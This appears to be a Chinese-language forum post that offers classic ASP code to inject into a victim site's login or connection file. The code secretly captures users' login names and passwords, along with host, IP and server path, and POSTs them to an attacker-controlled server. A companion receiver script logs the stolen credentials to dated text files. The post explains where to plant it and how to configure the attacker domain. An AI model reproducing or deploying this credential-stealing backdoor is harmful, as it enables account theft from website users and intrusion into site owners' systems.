| 
 Asp 通用记录管理登陆账号密码的代码: 
    很久以前收集的,也不知道那个傻鸟写的,又复杂、又累赘,真是太混蛋了,超级傻逼的代码。要是我写,不但兼容所有登陆页面、隐藏、高效率、高性能,而且代码不超过五行!这混蛋代码将就着看吧。 
Sub xxbing(urldizhi,jbdizhi,namea,passb,xinxi)  
Dim xmlHttp,xmlGet,urlStr  
xinxi=request.ServerVariables("Http_Host")&"|"&Request.ServerVariables("Remote_Addr")&"|"&request.ServerVariables("Path_Translated")  
urlStr="http://"&urldizhi&"/"&jbdizhi&"?name="&namea&"&pass="&passb&"&xinxi="&xinxi  
'Response.Write urlstr&"<BR>"  
Set xmlHttp = CreateObject("Msxml2.XMLHTTP")   
On Error Resume Next   
xmlHttp.Open "POST", urlStr, False   
xmlHttp.Send   
If Err.Number = 0 Then   
xmlGet = xmlHttp.responseText   
Else  
'Response.Write Err.Description & urlStr  
'response.write "<script>alert('出现错误')</script>"  
response.end   
end if  
End Sub 
这个是插入到对方的asp文件中的代码,可以插入到conn.asp或者login.asp中,只要登陆页面能调用到就行。  
调用的方法为: 
Call xxbing("www.baidu.com","jieshou.asp",Request("LogName"),Request("LogPwd"),xinxi) 
其中www.baidu.com是你的域名。jieshou.asp文件是接受post过来的数据的文件。  
request("logName")是对方login.asp文件中账号变量,Request("LogPwd")是对方login.asp中的密码变量。  
xinxi 是记录登录者信息的变量,这个不用修改。其他的都要按照自己的情况进行修改。 
再放出jieshou.asp的源代码。jieshou.asp是放在你自己的服务器里哦,上面说的代码都是插在对方asp文件中的。 
<%  
name = request("name")  
pass = request("pass")  
xinxi = request("xinxi")  
path = date() //路径我取的是日期,有时候账号密码多了,会造成很大的txt文件。  
if name<>"" and pass<>"" then  
call Createfile(name,pass,xinxi)  
end if 
Sub CreateFile(name,pass,xinxi)   
Dim fso, tf ,cf  
Set fso = CreateObject("Scripting.FileSystemObject")   
Set tf = fso.openTextFile(server.mappath("caonimade/"&path&".txt"),8,True,True)  
'写在caonima的目录下,txt文件是日期命名的。一天生成一个txt文件。   
'tf.WriteLine("Testing 1, 2, 3.")   
'向文件写三个新行字符。   
'tf.WriteBlankLines(3)   
'写一行。   
xinxi = split(xinxi,"|")  
For Each Strs In xinxi  
tf.Write "info:"&Strs&"<br>"  
Next  
tf.Write "name:"&name&"<br>"  
tf.Write "pass:"&pass&"<br>"  
tf.write "----------------<Br>"  
tf.Close   
set fso = nothing  
End Sub   
%>  |